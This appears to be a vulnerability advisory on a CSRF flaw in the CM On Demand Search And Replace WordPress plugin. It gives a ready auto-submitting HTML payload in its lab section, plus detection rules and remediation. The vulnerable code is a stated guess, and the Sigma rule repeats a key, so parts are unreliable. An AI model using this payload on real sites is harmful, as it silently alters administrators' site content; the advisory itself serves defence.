CVE-2025-54728

Executive Summary

CVE-2025-54728 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the CM On Demand Search And Replace WordPress plugin by CreativeMindsSolutions, versions up to and including 1.5.2. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying search and replace configurations, without their consent. The attack requires user interaction (clicking a crafted link) and has a CVSS score of 4.3 (Medium). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site running the affected plugin version is exposed to CSRF attacks. Since the plugin is unpatched, site owners must consider disabling or removing the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is Medium due to the requirement for user interaction and the limited integrity impact. However, in a WordPress context, CSRF can lead to privilege escalation or site defacement if combined with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability exists because the plugin fails to implement proper CSRF tokens or nonces on its administrative actions. An attacker can craft a malicious HTML page or email that, when viewed by an authenticated WordPress admin, triggers a forged request to the plugin's admin-ajax.php or admin-post.php endpoints. This can result in unauthorized changes to search and replace rules, potentially altering site content or database entries.

The attack flow:

1. Attacker identifies a target site running the vulnerable plugin.
2. Attacker crafts a CSRF payload (e.g., a hidden form or image tag) targeting the plugin's action endpoint.
3. Attacker lures an authenticated admin to visit the malicious page.
4. The admin's browser sends the forged request with their session cookies.
5. The plugin processes the request without verifying the origin, leading to unauthorized changes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.5.2): The plugin likely uses check_admin_referer() incorrectly or not at all. Example of missing nonce check:

// Vulnerable: No nonce verification
add_action('wp_ajax_cm_on_demand_save', 'cm_on_demand_save_handler');
function cm_on_demand_save_handler() {
    // Process request without checking nonce
    update_option('cm_on_demand_rules', $_POST['rules']);
    wp_die();
}

Patched Code (Hypothetical): A proper fix would include a nonce check:

// Patched: Nonce verification added
add_action('wp_ajax_cm_on_demand_save', 'cm_on_demand_save_handler');
function cm_on_demand_save_handler() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'cm_on_demand_save_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('cm_on_demand_rules', $_POST['rules']);
    wp_die();
}

Exploitation & Lab Setup

Red Team

To exploit this vulnerability in a lab environment:

1. Set up a WordPress instance with the CM On Demand Search And Replace plugin (version 1.5.2).
2. Log in as an administrator.
3. Create a malicious HTML file (csrf.html) with the following content:

<html>
<body>
<form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="cm_on_demand_save">
    <input type="hidden" name="rules" value='[{"search":"old","replace":"malicious"}]'>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

4. Host the file on an attacker-controlled server.
5. Send the link to the admin (simulated via social engineering).
6. Once the admin visits the page, the CSRF request executes, modifying the search and replace rules.

Blue Team

To detect and defend against this attack:

• Monitor for unexpected POST requests to /wp-admin/admin-ajax.php with action parameters related to the plugin.
• Implement CSRF tokens on all administrative forms.
• Use Web Application Firewall (WAF) rules to block requests missing Referer or Origin headers.
• Educate administrators about phishing and social engineering risks.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=cm_on_demand_save and no Referer header matching the site domain.
• Host: Unexpected changes to the cm_on_demand_rules option in the WordPress database.
• Logs: Access logs showing requests from external IPs to admin-ajax.php with suspicious parameters.
• File: Presence of unexpected files in the uploads directory if the plugin allows file operations.

Detection Engineering

YARA Rule

rule CVE_2025_54728_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against CM On Demand Search And Replace plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-54728"
    strings:
        $action = "cm_on_demand_save"
        $ajax = "admin-ajax.php"
    condition:
        $action and $ajax
}

Sigma Rule

title: CVE-2025-54728 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting admin-ajax.php with cm_on_demand_save action
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin-ajax.php
        cs-uri-query|contains: action=cm_on_demand_save
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54728 CSRF Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=cm_on_demand_save"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the CM On Demand Search And Replace plugin until a patched version is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=cm_on_demand_save from external referrers.
3. Long-term: Contact the vendor for a patch. If none is available, consider replacing the plugin with an alternative that supports CSRF protection.
4. General: Ensure all WordPress plugins and themes are updated regularly. Use security plugins like Wordfence to add CSRF protection layers.

Valters IT